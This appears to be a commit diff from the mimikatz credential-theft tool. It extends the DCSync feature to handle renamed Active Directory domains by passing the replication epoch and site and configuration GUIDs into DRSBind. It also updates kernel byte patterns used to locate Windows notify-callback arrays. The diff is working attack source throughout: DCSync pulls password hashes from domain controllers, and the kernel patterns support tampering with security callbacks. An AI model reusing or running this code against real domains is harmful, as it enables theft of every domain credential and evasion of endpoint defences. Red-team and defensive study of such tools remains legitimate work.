[close #35] DCSync works with renamed domains

Thanks to @rmbolger & @MichaelGrafnetter, DCSync now deals with msDS-ReplicationEpoch / dwReplEpoch
This commit is contained in:
Benjamin DELPY 2016-05-01 01:30:04 +02:00
parent 9e298f16e4
commit ea52c92cec
4 changed files with 66 additions and 47 deletions

View File

@ -19,17 +19,14 @@ POB_POST_OPERATION_CALLBACK kkll_m_notify_fakePost = NULL;
#ifdef _M_X64
UCHAR PTRN_W23_Thread[] = {0x66, 0x90, 0x66, 0x90, 0x48, 0x8b, 0xce, 0xe8};
UCHAR PTRN_WVI_Thread[] = {0x49, 0x8b, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x41, 0xb0, 0x01, 0x49, 0x8b, 0x94, 0x24, 0x88, 0x03, 0x00, 0x00};
UCHAR PTRN_WI7_Thread[] = {0x41, 0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8};
UCHAR PTRN_WI8_Thread[] = {0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8};
UCHAR PTRN_W81_Thread[] = {0x41, 0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8};
UCHAR PTRN_WVI_Thread[] = {0xbf, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8};
UCHAR PTRN_W10_Thread[] = {0x48, 0x8b, 0xcd, 0xe8};
KKLL_M_MEMORY_GENERIC ThreadReferences[] = {
{KiwiOsIndex_2K3, {sizeof(PTRN_W23_Thread), PTRN_W23_Thread}, L"PsReferencePrimaryToken", L"CcSetBcbOwnerPointer", { -4, 8}},
{KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsDereferenceKernelStack", L"ExRaiseAccessViolation", {-20, 64}},
{KiwiOsIndex_7, {sizeof(PTRN_WI7_Thread), PTRN_WI7_Thread}, L"PsDereferenceKernelStack", L"MmIsVerifierEnabled", { -4, 64}},
{KiwiOsIndex_8, {sizeof(PTRN_WI8_Thread), PTRN_WI8_Thread}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}},
{KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Thread), PTRN_W81_Thread}, L"RtlCopySidAndAttributesArray", L"NtFindAtom", { -4, 64}},
{KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsDereferenceKernelStack", L"ExRaiseAccessViolation", { -5, 64}},
{KiwiOsIndex_7, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"RtlUnicodeToMultiByteSize", L"MmLockPagableSectionByHandle", { -5, 64}},
{KiwiOsIndex_8, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}},
{KiwiOsIndex_BLUE, {sizeof(PTRN_WVI_Thread), PTRN_WVI_Thread}, L"ObCreateObject", L"NtFindAtom", { -5, 64}},
{KiwiOsIndex_10_1507, {sizeof(PTRN_W10_Thread), PTRN_W10_Thread}, L"PsRemoveCreateThreadNotifyRoutine", L"PsRemoveLoadImageNotifyRoutine", { -8, 64}},
{KiwiOsIndex_10_1511, {sizeof(PTRN_W10_Thread), PTRN_W10_Thread}, L"PsRemoveCreateThreadNotifyRoutine", L"PsRemoveLoadImageNotifyRoutine", { -8, 64}},
};
@ -45,9 +42,9 @@ KKLL_M_MEMORY_GENERIC ProcessReferences[] = {
{KiwiOsIndex_VISTA, {sizeof(PTRN_WVI_Process), PTRN_WVI_Process}, L"SeCreateAccessStateEx", L"PsReferenceImpersonationToken", { -4, 64}},
{KiwiOsIndex_7, {sizeof(PTRN_WI7_Process), PTRN_WI7_Process}, L"RtlAreAllAccessesGranted", L"RtlGetIntegerAtom", { -4, 64}},
{KiwiOsIndex_8, {sizeof(PTRN_WI8_Process), PTRN_WI8_Process}, L"PsAcquireProcessExitSynchronization", L"FsRtlAddToTunnelCache", { -4, 64}},
{KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Process), PTRN_W81_Process}, L"RtlCopySidAndAttributesArray", L"NtFindAtom", { -4, 64}},
{KiwiOsIndex_10_1507, {sizeof(PTRN_W10_1507_Process), PTRN_W10_1507_Process}, L"PsSetCreateProcessNotifyRoutine", L"IoReportDetectedDevice", { -4, 64}},
{KiwiOsIndex_10_1511, {sizeof(PTRN_W10_1511_Process), PTRN_W10_1511_Process}, L"PsSetCreateProcessNotifyRoutine", L"ObRegisterCallbacks", { -4, 64}},
{KiwiOsIndex_BLUE, {sizeof(PTRN_W81_Process), PTRN_W81_Process}, L"ObCreateObject", L"NtFindAtom", { -4, 64}},
{KiwiOsIndex_10_1507, {sizeof(PTRN_W10_1507_Process), PTRN_W10_1507_Process}, L"PsSetCreateProcessNotifyRoutine", L"KeRegisterProcessorChangeCallback", { -4, 64}},
{KiwiOsIndex_10_1511, {sizeof(PTRN_W10_1511_Process), PTRN_W10_1511_Process}, L"PsSetCreateProcessNotifyRoutine", L"KeRegisterProcessorChangeCallback", { -4, 64}},
};
UCHAR PTRN_W23_Image[] = {0x4c, 0x8b, 0xf1, 0x48, 0x89, 0x78, 0x20, 0x4d, 0x8b, 0xe0, 0x4c, 0x8b, 0xea, 0xbd, 0x08, 0x00, 0x00, 0x00};
UCHAR PTRN_WVI_Image[] = {0x4c, 0x8b, 0xf2, 0x41, 0x0f, 0xba, 0x6d, 0x00, 0x0a, 0x4c, 0x8b, 0xf9, 0x49, 0xc7, 0x00, 0x38, 0x00, 0x00, 0x00};
@ -67,7 +64,7 @@ KKLL_M_MEMORY_GENERIC ImageReferences[] = {
UCHAR PTRN_W23_Object[] = {0x40, 0x32, 0xf6, 0x4c, 0x89, 0x7c, 0x24, 0x78, 0x45, 0x33, 0xff, 0x4d, 0x85, 0xe4};
UCHAR PTRN_WVI_Object[] = {0x41, 0x8a, 0xdf, 0x4c, 0x89, 0x7c, 0x24, 0x58, 0x4d, 0x3b, 0xe7, 0x88, 0x5c, 0x24, 0x66, 0x4c, 0x89, 0x7c, 0x24, 0x50, 0x49, 0x8b, 0xef, 0xc7, 0x44, 0x24, 0x68};
UCHAR PTRN_WI7_Object[] = {0x41, 0x8a, 0xde, 0x44, 0x88, 0x74, 0x24, 0x47, 0x88, 0x5c, 0x24, 0x46, 0x4c, 0x89, 0x74, 0x24, 0x38, 0x4c, 0x89, 0x74, 0x24, 0x30, 0x49, 0x8b, 0xee, 0xc7, 0x44, 0x24, 0x48};
UCHAR PTRN_WI8_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50};
UCHAR PTRN_WI8_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50}; ////////// todo
UCHAR PTRN_W81_Object[] = {0x41, 0x8a, 0xd8, 0x44, 0x88, 0x44, 0x24, 0x4f, 0x88, 0x5c, 0x24, 0x4e, 0x4c, 0x89, 0x44, 0x24, 0x38, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x50};
UCHAR PTRN_W10_Object[] = {0x0f, 0xb7, 0x02, 0xff, 0xc9, 0x49, 0x03};
KKLL_M_MEMORY_GENERIC ObjectReferences[] = {

View File

@ -1726,6 +1726,8 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
ULONG drsStatus;
LPCWSTR szUser = NULL, szGuid = NULL, szDomain = NULL, szDc = NULL;
LPWSTR szTmpDc = NULL;
DWORD dwReplEpoch;
GUID SiteObjGuid, ConfigObjGUID;
if(!kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
if(kull_m_net_getCurrentDomainInfo(&pPolicyDnsDomainInfo))
@ -1740,19 +1742,22 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
if(szDc)
{
kprintf(L"[DC] \'%s\' will be the DC server\n\n", szDc);
kprintf(L"[DC] \'%s\' will be the DC server\n", szDc);
if(kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
if(szGuid)
kprintf(L"[DC] Object with GUID \'%s\'\n\n", szGuid);
kprintf(L"[DC] Object with GUID \'%s\'\n", szGuid);
else
kprintf(L"[DC] \'%s\' will be the user account\n\n", szUser);
kprintf(L"[DC] \'%s\' will be the user account\n", szUser);
if(kull_m_rpc_drsr_createBinding(szDc, &hBinding))
{
if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid))
if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid, &dwReplEpoch, &SiteObjGuid, &ConfigObjGUID))
{
if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs))
if(dwReplEpoch)
kprintf(L"[DC] ms-DS-ReplicationEpoch is: %u\n", dwReplEpoch);
if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs, &dwReplEpoch, &SiteObjGuid, &ConfigObjGUID))
{
getChReq.V8.pNC = &dsName;
getChReq.V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT;
@ -1863,7 +1868,7 @@ BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWO
void kuhl_m_lsadump_dcsync_descrObject(ATTRBLOCK *attributes, LPCWSTR szSrcDomain)
{
kuhl_m_lsadump_dcsync_findPrintMonoAttr(L"Object RDN : ", attributes, ATT_RDN, TRUE);
kuhl_m_lsadump_dcsync_findPrintMonoAttr(L"\nObject RDN : ", attributes, ATT_RDN, TRUE);
kprintf(L"\n");
if(kuhl_m_lsadump_dcsync_findMonoAttr(attributes, ATT_SAM_ACCOUNT_NAME, NULL, NULL))
kuhl_m_lsadump_dcsync_descrUser(attributes);

View File

@ -93,25 +93,25 @@ BOOL kull_m_rpc_drsr_deleteBinding(RPC_BINDING_HANDLE *hBinding)
}
GUID DRSUAPI_DS_BIND_GUID_Standard = {0xe24d201a, 0x4fd6, 0x11d1, {0xa3, 0xda, 0x00, 0x00, 0xf8, 0x75, 0xae, 0x0d}};
BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid)
BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID)
{
BOOL DomainGUIDfound = FALSE, ObjectGUIDfound = FALSE;
DWORD i;
ULONG drsStatus;
DRS_HANDLE hDrs = NULL;
DRS_EXTENSIONS_INT DrsExtensionsInt = {0};
DRS_EXTENSIONS *pDrsExtensionsOutput = NULL;
DRS_MSG_DCINFOREQ dcInfoReq = {0};
DWORD dcOutVersion = 0;
DRS_MSG_DCINFOREPLY dcInfoRep = {0};
LPWSTR sGuid;
UNICODE_STRING uGuid;
RpcTryExcept
*dwReplEpoch = 0;
RtlZeroMemory(SiteObjGuid, sizeof(GUID));
RtlZeroMemory(ConfigObjGUID, sizeof(GUID));
if(kull_m_rpc_drsr_getDCBind(hBinding, &DRSUAPI_DS_BIND_GUID_Standard, &hDrs, dwReplEpoch, SiteObjGuid, ConfigObjGUID))
{
DrsExtensionsInt.cb = sizeof(DRS_EXTENSIONS_INT) - sizeof(DWORD);
drsStatus = IDL_DRSBind(*hBinding, &DRSUAPI_DS_BIND_GUID_Standard, (DRS_EXTENSIONS *) &DrsExtensionsInt, &pDrsExtensionsOutput, &hDrs);
if(drsStatus == 0)
RpcTryExcept
{
dcInfoReq.V1.InfoLevel = 2;
dcInfoReq.V1.Domain = (LPWSTR) Domain;
@ -135,7 +135,7 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR
kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data(dcOutVersion, &dcInfoRep);
}
else PRINT_ERROR(L"DomainControllerInfo: 0x%08x (%u)\n", drsStatus, drsStatus);
if(Guid)
{
RtlInitUnicodeString(&uGuid, Guid);
@ -149,40 +149,57 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR
ObjectGUIDfound = NT_SUCCESS(RtlGUIDFromString(&uGuid, UserGuid));
}
}
drsStatus = IDL_DRSUnbind(&hDrs);
MIDL_user_free(pDrsExtensionsOutput);
}
RpcExcept(DRS_EXCEPTION)
PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
}
RpcExcept(DRS_EXCEPTION)
PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
return (DomainGUIDfound && (ObjectGUIDfound || !(Guid || User)));
}
BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs)
BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID)
{
BOOL status = FALSE;
ULONG drsStatus;
DRS_EXTENSIONS_INT DrsExtensionsInt;// = {0};
DRS_EXTENSIONS *pDrsExtensionsOutput = NULL;
DRS_EXTENSIONS_INT DrsExtensionsInt = {0};
DRS_EXTENSIONS_INT *pDrsExtensionsOutput = NULL;
DrsExtensionsInt.cb = sizeof(DRS_EXTENSIONS_INT) - sizeof(DWORD);
DrsExtensionsInt.dwFlags = DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_STRONG_ENCRYPTION;
DrsExtensionsInt.SiteObjGuid = *SiteObjGuid;
DrsExtensionsInt.dwReplEpoch = *dwReplEpoch;
DrsExtensionsInt.ConfigObjGUID = *ConfigObjGUID;
RpcTryExcept
{
drsStatus = IDL_DRSBind(*hBinding, NtdsDsaObjectGuid, (DRS_EXTENSIONS *) &DrsExtensionsInt, &pDrsExtensionsOutput, hDrs); // to free ?
drsStatus = IDL_DRSBind(*hBinding, NtdsDsaObjectGuid, (DRS_EXTENSIONS *) &DrsExtensionsInt, (DRS_EXTENSIONS **) &pDrsExtensionsOutput, hDrs); // to free ?
if(drsStatus == 0)
{
if(pDrsExtensionsOutput)
{
if(((DRS_EXTENSIONS_INT *) pDrsExtensionsOutput)->dwFlags & (DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION))
status = TRUE;
else PRINT_ERROR(L"Incorrect DRS Extensions Output (%08x)\n", ((DRS_EXTENSIONS_INT *) pDrsExtensionsOutput)->dwFlags);
if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid) - sizeof(DWORD))
{
if(pDrsExtensionsOutput->dwFlags & (DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION))
status = TRUE;
else PRINT_ERROR(L"Incorrect DRS Extensions Output (%08x)\n", pDrsExtensionsOutput->dwFlags);
if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, Pid) - sizeof(DWORD))
{
*SiteObjGuid = pDrsExtensionsOutput->SiteObjGuid;
if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) - sizeof(DWORD))
{
*dwReplEpoch = pDrsExtensionsOutput->dwReplEpoch;
if(pDrsExtensionsOutput->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwExtCaps) - sizeof(DWORD))
*ConfigObjGUID = pDrsExtensionsOutput->ConfigObjGUID;
}
}
}
else PRINT_ERROR(L"Incorrect DRS Extensions Output Size (%u)\n", pDrsExtensionsOutput->cb);
MIDL_user_free(pDrsExtensionsOutput);
}
else PRINT_ERROR(L"No DRS Extensions Output\n");
if(!status)
IDL_DRSUnbind(hDrs);
}

View File

@ -12,12 +12,12 @@
typedef struct _DRS_EXTENSIONS_INT {
DWORD cb;
DWORD dwFlags;
//GUID SiteObjGuid;
//DWORD Pid;
//DWORD dwReplEpoch;
//DWORD dwFlagsExt;
//GUID ConfigObjGUID;
//DWORD dwExtCaps;
GUID SiteObjGuid;
DWORD Pid;
DWORD dwReplEpoch;
DWORD dwFlagsExt;
GUID ConfigObjGUID;
DWORD dwExtCaps;
} DRS_EXTENSIONS_INT, *PDRS_EXTENSIONS_INT;
typedef struct _ENCRYPTED_PAYLOAD {
@ -193,8 +193,8 @@ void RPC_ENTRY kull_m_rpc_drsr_RpcSecurityCallback(void *Context);
BOOL kull_m_rpc_drsr_createBinding(LPCWSTR server, RPC_BINDING_HANDLE *hBinding);
BOOL kull_m_rpc_drsr_deleteBinding(RPC_BINDING_HANDLE *hBinding);
BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid);
BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs);
BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR ServerName, LPCWSTR Domain, GUID *DomainGUID, LPCWSTR User, LPCWSTR Guid, GUID *UserGuid, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID);
BOOL kull_m_rpc_drsr_getDCBind(RPC_BINDING_HANDLE *hBinding, GUID *NtdsDsaObjectGuid, DRS_HANDLE *hDrs, DWORD *dwReplEpoch, GUID *SiteObjGuid, GUID *ConfigObjGUID);
BOOL kull_m_rpc_drsr_CrackName(DRS_HANDLE hDrs, DS_NAME_FORMAT NameFormat, LPCWSTR Name, DS_NAME_FORMAT FormatWanted, LPWSTR *CrackedName, LPWSTR *CrackedDomain);
BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply(REPLENTINFLIST *objects);
BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(ATTRVAL *val);